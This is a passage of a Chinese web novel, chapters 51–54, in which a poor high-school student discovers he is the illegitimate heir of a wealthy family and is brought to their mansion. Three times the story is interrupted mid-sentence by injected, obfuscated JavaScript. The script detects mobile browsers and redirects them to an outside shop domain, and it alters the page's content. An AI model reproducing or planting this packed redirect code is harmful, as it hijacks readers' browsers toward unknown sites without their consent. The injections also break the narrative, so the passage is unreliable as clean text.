白容生看着手表愣住,拿起来,触手是金属冰凉的感觉。表是男款,但似乎是刻意选择了男表中轻巧的款式,很适合还没成年的青少年,不会显得太沉重或者装成熟。 表并不花哨,只有表盘一圈镶着细钻,是闪光的主要来源。 白容生凭本能推测这只表价格不菲,他将手表原样装回去,记下包装盒的品牌名,打开电脑搜索。 网页转了半天,跳出一个品牌官网主页。白容生点进去,很快就在首页看见了一模一样的商品界面。 他点进去,对着跳出的价格数字陷入沉默,不可置信地抓起手表和包装盒,确认这是真的,不是高仿。 崔盛会给他寄这个吗?崔盛哪来的钱买这种东西……而且他和崔盛一样,根本不认识这些品牌,怎么可能去买? 白容生虽然还很迷惑,但由于这只表的身价,他本能地小心,谨慎地放下表,想起另一个被他遗忘的包裹。 这个包裹沉重严实,白容生拆了半天,打开后,惊讶发现里面挤挤挨挨塞了好几个小盒子。 一个盒子是进口文具,两个盒子里都是另一个省的试卷和资料,还有一盒他没见过的巧克力,分成规整的小块。 白容生忽然确认,这个才是崔盛给他的,只是不知道为什么地点不在江市。或许崔盛跟着他的丁老板出差,顺便在那里给他买了生日礼物。 拿出巧克力,盒子底部掉下好几张钞票,都是塞在里面的。白容生盯着掉下来的钱,心里一动,去翻另外几个东西。 果不其然,教辅试卷里还夹着好多张钞票。 这算什么,书中自有黄金屋? 白容生又气又笑地收拾起钞票,最后整理出厚实的一沓,装进信封。他很担心崔盛把钱都寄给他,想着这钱还是存起来比较好,将来哪天崔盛需要,他能立马掏出来。 那么——这只表,究竟是谁送给他的? 白容生想破脑袋都想不出,他怀疑是对方寄错了,暂且原样装回,放回架子上。 才过去的期中考,他考了班里第二名,第一是季兰。两人分差稍微大一些,白容生的语文和英语在他的名次范围勉强能看,但季兰各方面均衡,胜他一着。 维持这样的排名白容生就很满意了。他听说等到高三又是一个坎,排名变动很正常,再加上会有少数没发挥好的复读生,谁也说不好。 收到这只表没几天,周五下午的自习课,季兰进教室让白容生去办公室找冯少平。 白容生不知道冯少平又找他做什么,大概逃不脱老样子的“心灵鸡汤”。他心里不想理,但念在冯少平苦口婆心,起身过去。 冯少平办公桌旁边添了把椅子,一个姿态闲适的青年人翘腿坐在那,和他谈笑风生,脸上隐约透着傲气,浑身打扮和这个灰扑扑的高中办公室格格不入。 白容生刚进门,白新天就敏锐转头,笑道:“哦,正主来了。” 什么意思? 冯少平咳了声,白容生走近,发现白新天面前还摆着他近几次大考的成绩单,让他有种被冒犯的不舒服。 白容生眉头皱起,哪知冯少平叹了口气,欲言又止,竟然起身出去:“你们俩聊一下吧。” 办公室恰好没其他老师,门半掩,一时间陷入静寂。 白新天拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260187|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌面上的成绩单,熟稔地说:“成绩没想到还可以,这个分数在这里很不错了。” 白容生现在也不受制于他,不想跟他装好人,冷下脸道:“你在说什么。” 白新天手搭上椅背,仍然在微笑:“喔,别生气啊,我是在夸你。成绩这样好,考不考虑高三去江市读?我可以把你送进江市一中的重点班。” 白容生看着他像个精神病,转头就想走,忽然回身:“之前是你给我寄的手表?” “啊,一点小礼物,等你成年再给你正经上档次的。”白新天挥手,突然想起什么似的坐直,“看我,把最重要的事都给忘了,弟弟,来看一下这个吧。” 他自顾自地说着,从随身的公文包里摸出一份文件袋,放在桌上推过去。 白容生还没明白他的话,就在白新天催促下,怀疑地打开文件袋。 他真的认为白新天有点精神疾病。 牛皮纸袋打开,里面是厚厚的一份文件。白容生拧眉拿出,兴致缺缺,本来只想敷衍地看一眼,可封面上的字让他不由一顿。 亲子鉴定报告书。 白容生盯着封面,好几秒,他抬头看向白新天。白新天嘴角噙着笑,好像从他的反应里获得了不少乐趣,故意凑近问:“怎么这个表情?打开看看呢?” 纸张翻开,前面是很长很难看懂的各种分析,但双方的名字很明确,一个是白立才,一个是白容生,检测样本是头发。白容生看了会,问白新天:“你从哪里拿到我的头发?” 白新天得意地说:“忘了?那天我带你上车,顺手扯下来的。” 白容生的记忆已经模糊,大约记得白新天帮他系安全带时扯到了他的头发,他只以为是白新天没仔细,原来是早就有预谋。 他没再关心白新天,低头看着白纸黑字清楚印着的另一个人名。 白立才。 白新天总不能挖出死人的尸骨来和他做亲子鉴定,所以,白立才还活着。 在白容生的印象里,他早就默认白立才和他那个短命的妈一样,一起尘归尘土归土。骤然得知白立才还活着,他觉得十分不真实。 白立才没死这件事给他的冲击,甚至超过了他的真实身份的震撼。白容生面无异色,心里翻涌着,好一会接受了白立才没死的事实,同时想,他怎么还没死呢? 白新天没注意他的异样,继续说:“之前小叔老是说他在外面还有个儿子,爸妈、爷奶都说别信他,那小孩子早死了,小叔一直精神不正常。我和小叔关系不错,他给我看过他年轻时候的照片,在酒吧唱歌,真帅,是不是?我信他,那天看见你,我第一反应就是,你是他的孩子。” 他说了一连串的话,白容生终于给出反应,侧脸看他。 白新天一拍手,笑嘻嘻地说:“哎呀,你不知道你有多像他年轻的时候,不过你比他更像个好学生,小叔以前痞气太重了。” 他说得高兴,也不管白容生没多少回应。讲了很多,白容生就跟没听见,低头研究鉴定报告,最后看结论,支持他和白立才的生物学关系。 “我还没跟家里讲,小叔身体不好,上个月就意识不清了。”白新天耸肩,“不过我想得先跟你说,你有权知道这件事。” 白容生合上报告,推回去。他说:“谢谢你,不过我不去江市,你们可以当没有我。” 说完他也懒得看白新天的表情,转身离开办公室。 52.第 52 章 “哎,白容生,白容生?” 季兰自后面推了一把白容生的肩膀,“叫你两遍了,想什么呢?老冯让我们去办公室帮忙搬东西。” 他们的教室要腾出来做高考考场,包括老师办公室都要清理。忙不过来,各个班主任就征召自己班的班干来帮忙。 路上,季兰说:“你最近怎么魂不守舍的,是在担心分班吗?” 白容生摇头:“不是。” 停了一下,他补充,“家里的事。” 既然这样,季兰也不好追问了。她道:“不管怎么样,都要高三了,不去想那些,专心高考吧。” 对面高三的楼下铺洒着许多试卷和资料,让其他两个年级投去羡慕的眼光。 收拾完办公室,学生们都准备回家了。冯少平端着水杯单独把白容生叫出去,有些尴尬地咳了一声。 那天白新天突然到访,甩下一个亲子鉴定,搞得冯少平也是一头雾水。他看出白新天家境不凡,更想不通这个突然出现、有点奇怪的人和白容生有什么关系。 崔盛不才是白容生的哥哥? 但白容生本人对白新天似乎没多少异议,他没否认白新天的话,只是那天离开办公室的时候,脸色不怎么样。 “按理说你的家里事,老师不应该插手太多,不过你的那个哥哥,他说因为你拉黑他的号码,所以由我来转告你。” 白容生不意外,甚至心里想的是,果然来了。 “今天中午他在校门口接你。” 白容生不好让冯少平为难,点头表示知道。他回教室,帮忙把最后的清洁工作做完,拎起包,在门卫室吹着空调等了会。 一辆漆黑的轿车顺滑地转了个弯停在门口,车窗降下,白新天手搭在那里,对不远处的白容生招了招。 “怎么样,中午想吃什么?”白新天热情地询问,“我没怎么来过这边,尝尝你们当地的特色菜吧。” 白容生推荐了他之前寒假去打工的那家店。两人要了一个包间,菜上完后,白新天关上门,正色看着白容生。 “小叔……哦,也就是你爸,快不行了,就这两天的事。”白新天道,“我这段时间老往你这里跑,还去做了个亲子鉴定,瞒不过家里多久,他们迟早要知道你的存在,不是你不想就能躲避的。” 白容生低头将筷子在开水里洗了洗,没给出反应,但白新天知道他在听。 大概也是遗传,他和白立才年轻时候的那股硬脾气很像。 但是像有什么用?最后不都是要妥协的。 “说实话,咱们又不是一个爸妈,我也不是特别想管你的闲事,纯粹是运气,让我先遇到你。”白新天继续说,“小叔手里可是有股份的,他去年开始身体就不见好,医生说没几年了。不过对他手里的股份之后怎么处理,老头子至今没发话。这种时候突然冒出一个你——你还快成年了,情势可就很复杂啊。” 他说着,眼看白容生,诧异发现白容生竟然没给他洗筷子,自顾自先吃了起来。 白新天暗暗翻了个白眼,倒杯水涮了碗筷,“别不出声,那些股份你不想要?” 白容生终于看着他:“那股份先不说能不能给我,你急着让我回去,你不想要?” “哈哈,你还不笨么。不过,就算没有你,股份也到不了我手中,所以我很期盼你能回去啊,弟弟。” 损人不利己。白容生心里评价,食不知味地咀嚼着口中的食物。 他没有表面上看起来那么淡定,所谓股份、继承,更是一知半解。除了早间新闻和豪门电视剧,白容生的生活里一般不出现这些名词。 但他更不愿意在白新天面前露怯,显得他好像白痴,可以被轻易拿捏操纵。 白新天却很奇怪:“你过了这么久的苦日子,还想再做穷人吗?哪怕只是拿到一点股份,也足够你离开这里,舒服地过轻松的生活了。总不会你不想要钱吧?” 不要钱是假的。可是巨额财富往往伴随着极大的风险,白容生眼看着就能考上大学开启新生活,并不打算随便搅进他一无所知的白家里。 况且,他很清楚,既然白家迟早会知道他的存在,那么不如等白家亲自来找他。详细的条件,他可以跟白家谈。 就这样跟着白新天回去,显得他很迫不及待,不免让人看轻。 见怎么都说不动白容生,白新天那点装模作样的好脾气也消失了。 他不耐烦地啧了声,放下筷子,想起自己为这个不光彩的私生子浪费这么多时间,恋爱都没空谈,结果白容生还这样又臭又硬,不知好歹。 “我说你……” “对了,谢谢哥你送我的生日礼物。”白容生客气又坚决地说,“不过这个手表太贵重了,我不能收。” 手表盒子被原样放在桌上,白容生起身道:“我还忙着回去写作业,之后你不要再找我了。” 白新天恼怒地把手表盒子一砸,顿时也没了心情。 他对着一桌吃了一半的菜抽完一根烟,出去的时候被门口服务员拦住,提醒他还没结账。 白新天真是被气笑了。 不愧是那种环境里出生长大的孩子,做事说话都不知道分寸,上不了台面。 他毕竟是个闲散的花花公子,没多少本事,优点在于听父母的安排,但手里着实没多少实权。白新天付完帐正想着怎么给白容生点苦头吃吃,却在饭店门口接到了白丛山的电话。 “喂,爷爷,中午好。” 祖父多年来深重的积威让白新天语气瞬间软了下去,“我不在江市,陪女朋友出来旅游呢。” 反正他天天换女朋友,没人管他是跟哪个女朋友。 然而白丛山几句话就让白新天懵了。 “旅游?旅个屁游!你小叔不行了,立刻回来!还有,你是不是找到他儿子了?怎么,不敢跟家里说,还要来骗我这个老头?” 白新天赶紧认错求饶,也没心思去想教训白容生了。 那头白丛山沉默片刻,咳嗽两声,“算了,你先回家。那个孩子,等你小叔之后……再说吧。” 白新天挺惊讶的:“不告诉小叔吗?好歹给他看一眼照片,这样也……”走得安心点。 “你懂什么?别问那么多。” 被斥骂后,白新天老实闭嘴。他拿着手机上车,临走前眼神复杂地看着学校的方向,发觉白容生可能并不像他预想的那样,会让白丛山爱屋及乌。 明明那么宠爱白立才,却对他唯一的儿子这样漠不关心吗?因为白容生是出身太差的私生子? 白新天感到一阵烦躁。他预想中推出白容生来分股份,给另外几个兄弟姐妹添堵的计划,似乎并不能成功。 * 遥远的江市,白家正在举行葬礼的时候,白容生在闷热的教室里写数学试卷。 他们已经是高三了,暑假留在学校补课。教室里没空调,前后几架风扇一起吱呦转圈,搅动着热气。 讲台上的老师和下面的学生,几乎每个人后背都是湿的。尽管抱怨,不过这也是每年的固定场景,好在C市夏天短,熬过这阵就好了。 升入高三,白容生运气不错,依旧是冯少平做他的班主任,季兰还和他一班,于是照旧是他们两人做班长。 教室后面的理想大学这次变得现实多了,大部分人不再是只填有名气的,而是寻找和自己预估分数差不多的学校。白容生写的还是江城大学,贴在季兰的首都理工旁边。 八月第一次摸底考,用的试卷是从别的学校买来的,难度很高,考得重点班都唉声叹气。成绩出来,排在前面的大部分都是复读生。 白容生这次被不知所云的语文和英语卷子坑了一把,数学虽说在校内排名还好,但分数并不好看,他踩了好几个坑。 明明都是前两年认真学过的知识,却在高三组合变化,好像变成另一种定义,让他们摸不着头脑。 白容生心里焦虑,每周短暂的休息日他基本上很少在家,都去教室自习。 C市早早入秋,白容生推开窗看了眼外面晴好的天气,简单吃了点昨晚的剩饭当早饭,拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你错过了你父亲的葬礼。”白丛山说,“我们的溺爱让他走上歪路,沾染不该有的东西,最后毁了自己。” 白容生对此毫无感觉,某种意义上,白立才也很亏欠他,可他不欠白家什么。 白丛山又看了他一会,“你跟他年轻的时候是真的很像,刚才乍一看见你,我还以为是立才回到年轻的时候,过来看我了。” 他话语里有几分欣慰,应该是庆幸还是白家的血统在白容生身上占了上风。无论如何白容生长得像父亲,使白丛山觉得不那么丢脸。 “我没见过他。”白容生平静地说,“对他没有印象。” 白丛山不是傻子,听出他语气里的不悦,冷冷道:“你怨你父亲当初扔下你,可是你有没有想过,那个状况,他留下同样没有出路。他并不是故意丢下你不管,回家后托人到这里来打听你的消息,那时你……你母亲去世,你下落不明,所有人都以为你死了。” 白容生看着他明显不愉快的老脸,反而有礼貌地轻笑一下:“您可能记不清了,我母亲在我五岁那年去世的,而他离开这里时我才几个月大,中间隔了四年多吗?或许不算是丢下不管吧。” 白丛山在家里向来说一不二,手掌大权。他很少被晚辈这样当年顶撞,下意识有些想发火,但对上白容生的目光后,竟然忍耐下来。 “我也有自知之明。” 哪料白容生主动说,“出身低贱,高攀不起你们。我没有一定想认回去的念头,你们觉得我丢人,就当我无父无母,两边没有关系吧,我也有自己的生活和家人。” 白丛山:“家人?洗头房的女人,还是那个现在做打手的小混混?” 白容生被他的话激得眼皮一跳,只听白丛山缓慢道:“我来见你,不会不作准备。你的情况我都很了解,所以我很想亲自见见你,并且问你一句,你是真心不要回来的吗?好好考虑吧,你还不知道你错过了什么。” 车停在学校门前,方才请白容生上车的男人之一递过一只沉甸甸的信封。 白容生拿着下车,在阳光下眯起眼拆开。 一沓崭新的钞票,和一张前往江市的车票。 临下车前,白丛山告诉他,可以亲自来江市白家看一看,再做决定。 53.第 53 章 再次来到江市车站,白容生比较清楚地找到了路。 白家的车停在外面,司机见他走近,亲自下车给他打开车门。 白丛山给的不是选择而是安排,他直接给白容生的学校请了一周的假。白容生不想多生事端,背着书和一点火气,登上前往江市的车。 江市的暑热依旧旺盛,白容生不可控制地想起了去年的夏天。这两天他纠结过,无数次拿起手机再放下,最后还是选择不告诉崔盛白家的事。 无论如何,等白家做出决定,究竟要不要认回他,他再联系崔盛吧,那样更稳妥。 轿车飞驰过宽阔的路面,白容生还看见鎏金的大楼一闪而过。 车拐进市中心附近的一处高档住宅社区,周围陡然清静下来,绿化很好。不远处的湖面波光粼粼,带来丝丝水汽。 最终,车停在一栋华美的白色建筑前。 外围的黑色大门识别出车牌,缓缓打开,道路两边是精心修剪的平整草坪,几丛灌木被修理成圆滚滚的动物形状。 道路尽头,房子的深色大门打开,一位上了年纪却保养得当、风度优雅的女性走出来,旁边还有女佣给她撑着遮阳伞。 白容生远远看见,就做好了应对另一个白丛山的准备。他穿着和这里格格不入的廉价衣服下车,裤脚短了,被洗得发白,身后还背着沉沉的变形背包。 然而他刚下车没走两步,那个女人就情绪激动地推开女佣的伞,踩着软底鞋小步快走到他面前,抓住了白容生的手。 白容生惊讶地低头看她,手被女人紧紧抓着,几乎到了发疼的地步。女人五官秀美,鬓发整齐,眼角带着皱纹,只能看见依稀白发,望着他,慢慢竟然流出了泪水,反而让提高戒心的白容生有些茫然了。 “你跟三宝以前简直一模一样啊……” 女人柔软的手摸上白容生的脸庞,她喃喃说,“比照片上还像。” 白容生并不清楚白立才长什么样,也不是很想像他,谨慎选择保持沉默。 看起来这位应该就是白丛山的夫人,现在白家的女主人许静了。她亲自生育的三个儿女中,白立才是最小的儿子,所以会被称呼“三宝”。 白容生被许静牵着手带进这栋楼,一楼的客厅如同大厅,做了挑高处理,空间十分宽敞。让他想起曾经见过的铁算盘的别墅,但和这里比,真是相形见绌。 其实这栋房子并没有乍一看很显眼的奢华装饰,每个细节都处理得很舒服,同时低调地彰显身价。 白容生不着痕迹地打量一圈,被许静拉着手在象牙色的沙发上坐下。 女佣立刻端上来茶盘,许静轻声道:“给孩子上什么茶?昨天明明他们来,说爱吃的零食和饮料我记得还有,拿给孩子。” 说完她更加仔细地打量白容生,心疼地举起他的手:“在外面很吃苦吧?我们家哪有孩子的手是这样的呀……” 她说着开始流泪,白容生无奈,抽出只手,拿着桌上柔软的面巾递给她擦眼泪。 许静是否真情实意他不知道,只是听她絮叨着讲当年的事。 白立才在外面大受打击,回来后又觉得丢脸,十分消沉,烟酒瘾很重,每天没多少清醒的时间。他在C市的时候,早就在阴暗的地下室和一起搞乐队的人抽过加料的烟,不过质量很差,他还缺钱,瘾并没有很大。 回到家里,他重新做回花钱如流水的大少爷,很快接触到江市的“好货”,再也没有回头路。 某种意义上,他和被他抛弃的“妻子”,不约而同走上了相同的道路。 由于他对在C市的经历守口如瓶,起初众人只以为他在那边有相好的女友。 直到几年后,白立才在短暂的清醒时间良心发现,跪在白丛山和许静面前嚎啕大哭,坦白他还有个孩子。 白丛山观念较为传统,听说他还有个这样不光彩的私生子,大怒之下拿起手杖抽得白立才满屋乱爬。 许静本来就对这个不成器的小儿子有着非同一般的溺爱,当下拍板,派人去C市找这个孩子,找到了就接回来。 然而等白家人到那,得知的是那女人吸毒过量身亡的消息。她身边的孩子下落不明,依据当时北城区的状况,大概率是活不成。 他们人生地不熟,北城区错综复杂,根本都没找到洗头房那里,就灰头土脸回家了。白丛山恰好不是很想要这个孙子,就顺水推舟,放弃继续寻找。 谁能料到,这个孩子不仅没死,还活得好好的,十几岁跑到江市打工,被白新天认出来了。 既然遇见了,就没有不认回来的道理,毕竟是白家人,留着白家的血。 “我当年想着再找一下呢,总不能没有消息,可惜恰好家里出事,实在腾不开手……”许静愁容满面,用纸巾细细擦着眼角,“早知道把你接回来,不就不用吃苦了?你爸爸跟你那么大的时候,一点气都没受过。” 她散发着清幽香气的手爱怜地摸了摸白容生的额头,“既然来了,就在这里住下吧。我听说,你今年高三,成绩挺不错,送你去一中的重点班念书怎么样?大学就去江城大学,考不好也不要紧,肯定能让你进去。” 白容生沉默片刻,说:“谢谢您……不过我不适应这里,我还是想回去读完高中再来这里上大学。” 许静不可思议地问:“为什么?你是怕来这里被欺负吗?别怕,你上面的哥哥姐姐平时都不在这里住,丛山他很忙,只有我在家比较多,不用拘束。” 白容生跟他们任何人都不想住一起。 他没有什么对亲人的渴求,对白家的向往,这件事对所有当事人来说应该都很突兀。再说,他回去高考,还可以给冯少平添一个重点大学的名额。 他的家人只有崔盛,而且有崔盛就足够了。 当然,这不是说白家的财富和权势对他没有吸引力。可是白容生掂量过他的轻重,认为冒然加入什么豪门家产争夺,有弊无利。 他想要富贵,可他现在完全没有那种能力。眼高手低是种致命伤,现在的白容生受不起。在白家面前,十个叉子也不过是随手扫开的路边垃圾。 他这种快成年了才被认回来的私生子,能有什么竞争力? 不过如果他能够考上江城大学,想必白丛山总愿意给他一点好处。只要能够借上白家的庇荫,他离他梦想中的“成功”,似乎也不那么遥远。 只要可以维护属于他自己的稳定体面生活就好了。白容生并不奢望白家的家产,甚至对他这样穷惯了的人来说,真的给他一笔巨额财富,他更多的是惶恐。 他想,只要可以……他和崔盛不会再被谁随便打乱平静的生活。 这样应该就够了。 见白容生不愿意,许静伤心起来:“是我们对不起你,不管怎么样,你毕竟是我们家的孩子,却吃了那么多苦。现在你回家,不是更好吗?我可是你的亲奶奶呀。” 她回头吸了口气,冷静下来,看着时间:“好了,现在不能逼你做决定,去楼上看看,给你准备了房间。” 既然来了,白容生也做好至少住几天的准备。 他被许静挽着手,跟在女佣后面,走进电梯。 给白容生准备的房间在三楼,是一个套房,面积相当于一座小公寓,从卧室、浴室、衣帽间到小阳台,应有尽有。健身房和书房在隔壁,衣帽间空了一半,许静说,等下午让人上门量白容生的身体数据再去准备衣服。 白容生难免地感觉到不自在,转了一圈参观这个豪华的房间,就被许静催促去洗澡,换下身上的衣服。 他洗完澡出来,女佣竟然就在外面等着,主动展开毛巾帮他擦头发。白容生终于产生了惊恐,扭头避开,拿过毛巾自己随手擦了擦。 但是女佣并不走,还有一位拿着吹风机,要给他吹头发。 白容生还想拒绝,许静却推门进来,满意地看了看他,说:“放轻松,这是自己家里。让她吹,手法是专业的,对你头发好。” 尽管血缘上许静是他的亲奶奶,可今天两人第一次见面,白容生还裹着浴巾。哪怕浴巾够长,能够从他的肩膀遮到膝盖,他依然觉得很羞耻。 他总算表现出了符合年龄的窘迫,许静微微笑了笑,体贴地退出去。 白容生等头发吹干,坚决地请两位女佣出去。他独自走进衣帽间,忽略墙上的按钮,手动打开衣柜,从里面取出简单的一套衣服。 真是有些太夸张了,这里甚至内衣都准备好了,而且还有不同尺码。 白容生穿了一件宽松的不对称米色上衣,下面是卡其色长裤。他的简朴让许静有些不满,细细地看着他,命令女佣再给他装点一下。 白容生想要反抗,许静道:“中午是欢迎你的家宴,这样穿太朴素了,不符合你的年龄。” 过了二十分钟,白容生才得以离开衣帽间。他低估了这里,哪怕看起来空着不少,依旧有许多衣服。 一人多高的穿衣镜前,白容生盯着镜子,看着自己,感觉到陌生。 浅色的休闲款式亚麻衬衫,胸前系着浅咖啡色的细领带,下面是制服款式的长裤,深色制服鞋。衬衫的袖口挽起,左手腕是一块皮带腕表。 就连黑发也被仔细地整理出发型,被人时不时摸到头发让白容生脖颈僵硬。 他吐出口气,认为越看越奇怪,还是不看为好。 许静竟然一直坐在外面等他,看见他的时候,满脸复杂,原地站了会,走过来摸了摸白容生的肩膀。 估计又让她想起白立才了。 白容生短暂地走神,被牵着走出房间,回到一楼。 他听见了数人的说笑声,打破了先前的寂静。银色的电梯门向两边打开,围坐在客厅的一圈男女不约而同转头看过来,目光焦点落在白容生身上。 “母亲。” 一个不太能看出年龄,气质成熟的中年女性率先起身走过来,对许静颔首。两人的五官轮廓很相似,一眼看出是母女俩。 “这是你姑姑。”许静对白容生说,“来,都认认人,除了你大伯还在国外开会,回不来。” 白松云,白丛山和许静的第二个孩子,也是他们唯一的女儿。她微微笑了笑,主动伸手,搭在白容生肩膀,“真的很像小弟,一看就知道他是谁的孩子。想不到,都长这么大了,今天才到?” “是啊,早上的火车,从那地方到这里来,真是不容易。”许静抱怨着,仍然不离白容生身边,挽着他,“叫姑姑。” 据白容生所知,白家应该不止在场的这些人。不过真正的婚生子共三个,还死了一个他爹,其余估计是还算讨许静欢心的私生子。 “姑姑。” 白松月看不出对白容生的喜恶,她听后更深地笑了笑,转身从包里拿出一个小盒子,塞到白容生手中:“这孩子在外面受委屈了,姑姑没别的,给你点见面礼吧。” 之后迎上来的是位文质彬彬的青年男子,带着细框眼镜。他是白家长子白盛辉的儿子白允,也是白家实打实的长孙,今天就是他代表大房这边出面。 “欢迎弟弟回家。”白允同样看不出什么情绪。不过他没叫堂弟,而是直接称呼弟弟。 温和地拥抱完白容生,白允也给出一份见面礼。 白容生叫完姑姑,又说谢谢大哥。 两位正经的白家人打完招呼后,其余等在旁边的人才开始说话。 他们都是白丛山的私生子女或者私生子女的家里人,面对白容生时,态度有点拿捏不好。 按理说大家都是私生子,白容生这种妓女生的更该是鄙视链底层。可是白立才只有这一个孩子,许静更是明显表现出偏爱,他们也不敢轻易露出轻蔑。 人名太多关系太乱,白容生根本记不住。只有在和白新天握手时,他才遇到一个熟人。 原来白新天是白丛山私生子的孩子。 两人对视一眼,白容生没什么表情,白新天假笑一下,给出的见面礼是白容生眼熟的盒子。 还真是不多花一分钱。 在场众人似乎都习惯了这样表面和睦、内里暗流涌动的家庭氛围,各自扯着笑说一些虚假的场面话。 今天主角是白容生,他们就围着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286703|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白容生,观察许静的态度,夸奖白容生如何俊秀如何像白立才,成绩如何如何好。从客厅聊到餐厅,围坐在圆桌旁边,开始这场虚假的家宴。 菜品自然不错,但白容生实在没多少胃口。 他磨蹭地吃了个半饱,放下筷子。白松月注意到,笑着说:“看来江市的饭不合容生的口味?” “坐车太久了,不是很想吃饭。”白容生回答。 白松月笑容不变,继续说,“啊呀,都是自家人,还说假话呢。不爱吃就说不爱吃,又没人会骂你摆架子。” 白容生莫名其妙,抬头看向她。 “不是家里长大的人,到底吃不惯家里的菜。可惜不是自家的种,也能坐上家里的饭桌。”白松月筷子一放,“我下午还有事,妈妈,先走了。” 白容生皱了下眉,却发现一桌的人都是司空见惯、无动于衷的表情。 许静也放下筷子,端起茶漱口,吐掉,才说:“松月。” 她的声音不高,听上去也没生气,白松月却停住脚步,冷冷转头。 不知什么时候,整桌人都放下碗筷,双手放在腿上,垂着视线看面前的盘子。 “你是长辈,难道应该在那么多晚辈面前这样失礼吗?真是毫无教养。”许静慢慢地说,“我只感到耻辱,我竟然有这样的女儿。” 此刻的许静神态异常陌生,和在白容生面前判若两人。 白松月肖似她的脸上,跟着浮现嘲讽的笑容。 “对不起,妈妈,我道歉。”她语气高傲地说,“还请容生不要介意,我并不是针对你,只是突然要和这群私生子同桌吃饭,抑制不住恶心而已。” 她头也不回,径直离开了这里。 许静合上眼,叹了口气。她过了会睁眼,拿起筷子说:“继续吃吧。容生,你想吃什么,我让厨房现做。” 她发话后,圆桌周围众人瞬间若无其事地回到和乐融融的氛围,仿佛刚刚白松月的发作不存在。 白容生迅速打量一圈,发现这个家庭的诡异之处。 他坚持说真的吃饱了,许静便点头,一桌人同时结束用餐,纷纷起身告别。 只有白新天对白容生连使眼色,被许静看见,开口说:“新天,你留下和白容生说说话吧。你们年纪差的不大,而且还那样有缘分,容生能回来,新天功不可没。” 许静每天雷打不动需要午休。她休息的时候,白新天就和白容生一起回到楼上的房间里。 “只有白松月给你难看啊。”白新天迫不及待地关上门说,“不过你放心,她真不是针对你。只要房间里有爷爷的私生子,她就要找任何机会攻击那些人,谁也管不了她。” 说着,他反客为主地观赏白容生的房间,进衣帽间和阳台参观后,语气里透出羡慕:“给你的待遇这样好啊,这房间我可得不到。” 白容生坐在小沙发里,打开小冰箱喝水:“你不住在这里?” “我都不是老头子的孩子,哪有资格住这里?就算是我爸小时候,也就假期能来这里过几天,免得老头忘了还有他这号人。”白新天嘲讽,过来拿了瓶水。 “大伯,就是白盛辉,他对我们还算客气,因为他从出生就是铁板钉钉的继承人,谁也夺不走他的位置。你知道的,老头观念蛮封建。白松月么……她出生的时候好像老头老太关系很差,外面三五不时冒出来一个不知真假的孩子,她危机感很重,而且我们是真的可能分她的钱。” 白新天不住嘴地说,忽然回神,看着气定神闲坐在那里听的白容生,觉得不对。 他怎么像个小辈在这里跟白容生汇报似的? “你之前还跟我要害你一样,现在呢?什么感觉?”白新天双手一展,“见过这么多钱吗?” 白容生本来半垂的眼睛看向他,他无动于衷:“这么多钱,跟你跟我有什么关系?” “跟我估计没关系,但是跟你一定有。”白新天身子前倾,“小叔是在他们两人和好的时期出生的,而且生完他后,老头老太都不能再生育了。无论这个孩子什么样,都会获得他们独一无二的宠爱,你好运气和小叔长得像,再怎么样,你是会有的。” 白容生没吭声。他脑子里还乱得很,基本上是在跟白新天装深沉。 不过他也看出,白新天多半是个空心枕头。手里不缺几个钱花,胸无大志,急得上蹿下跳给他出豪门斗争计划,不过就是让他去争一争他亲爹手里的财产。 依旧没说动白容生,现在又是在白家,白新天不能对他怎样,气得起身准备去找新女友去飙车。 白新天走后没多久,许静起床了,边由女佣给她护肤,边把白容生叫过去:“有没有什么喜欢的衣服风格?我让他们拿两本杂志来给你挑。” 她又变成最开始和蔼温柔的样子,说话间还轻柔地抚摸坐在旁的白容生的手背,“你长得这样好看,和三宝一样,穿什么都俊。” 这种话听多了,不得不说有点反胃。白容生反应过来,许静对他如此好,多半是在他身上寄托对白立才的怀念。 真奇怪,白立才竟然有这样好的运气。好到白容生都觉得不公平。 白容生兴致不高,被带去他从未踏足过的高级商场,里面一家家不认识的店面散发着芳香,店员看见许静,会主动迎出来问有没有需要。 甚至,当许静带着他选定店面进入购物时,这家店会临时清场,只给他们服务。 里面过分殷勤周到的服务让白容生很不适应。东西没有标价,灯光极有质感且不刺眼,他也不需要去亲自挑选,自有数个店员不停换衣服让他看喜欢哪件。 在选了好几套衣服后,许静安排裁缝来给白容生量身体数据,准备定做。白容生拒绝的话还没出口,许静笑盈盈的,又宣布一个消息。 “明天带你去一个慈善拍卖会露露面,先拿几套临时充场面的吧,不然太寒酸。对了,你那位哥哥。” 她含着笑意,略一停顿,果然白容生一改无聊的神态,带着些微的紧张看向她。 “他也会来,你总得光鲜亮丽地和他见面吧。” 54.第 54 章 “来,向镜子前面走一步。” 上门送衣的店员殷勤地扶着白容生的肩膀,面前是一人多高的全身镜,他的手同时整理好白容生身上衬衫的边角和褶皱,退后一拍巴掌,“完美!” 这位店员身上香水味太重,说话做事还很浮夸,让白容生不大自在。他松开一点领口,皱眉看了看镜子里。 